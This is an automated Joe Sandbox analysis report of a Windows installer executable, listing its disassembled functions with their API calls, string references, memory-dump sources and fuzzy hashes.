Opcode ID: f84dc7438b734d649018535b99f5ff883fadf72990f7ea17a428efaae3f8c2d6
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: f84dc7438b734d649018535b99f5ff883fadf72990f7ea17a428efaae3f8c2d6
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

%02x%c, xrefs: 00406270
..., xrefs: 00406293

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
QuiBookstore, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$QuiBookstore$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-3135320543
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 2f246f05ebd7dc674da9b5ff0baef701d10e4a3e2a51ec62881f8ce9e704e4b5
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 2f246f05ebd7dc674da9b5ff0baef701d10e4a3e2a51ec62881f8ce9e704e4b5
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 00403C83 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe",00000000,-00000002,00403876,00403AD1,?), ref: 00403C9D
GlobalFree.KERNEL32(?), ref: 00403CA4

Strings

"C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe", xrefs: 00403C95

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe"
API String ID: 1100898210-1955452651
Opcode ID: 046f1af9a807a40528e8b39a44fdd4b1d1a0d6b4247cdc0a72410f46df1f4411
Instruction ID: e0409796cbff133e4cfb682494846e7286bf672da49bec0b05252ac9bde8f2ee
Opcode Fuzzy Hash: 046f1af9a807a40528e8b39a44fdd4b1d1a0d6b4247cdc0a72410f46df1f4411
Instruction Fuzzy Hash: 05E012338096209BDA315F15EE0875A7B68BF45B77F06012EE8C0BB3A487745C4186D8

Function 00406751 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,004035F3,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe,C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00406757
CharPrevW.USER32(80000000,00000000,?,?,?,00000000,00403A47,?), ref: 00406768

Strings

C:\Users\user\Desktop, xrefs: 00406751

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1246513382
Opcode ID: b7fdc044305c70bb42687b7f0662e1e6e1c83cc406910596c01fe4bf7230c37e
Instruction ID: 578b036f622d94ce9a8c11ae272008c7950a84950c1f81d8e7c2595e1eaad068
Opcode Fuzzy Hash: b7fdc044305c70bb42687b7f0662e1e6e1c83cc406910596c01fe4bf7230c37e
Instruction Fuzzy Hash: B0D05E310005209BC7126B28DF45CAF77BCEF41700346446EF042E7170CB385D9287AD

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.2030802534.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2030760893.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030826533.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2030878778.00000000004DF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2031036748.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

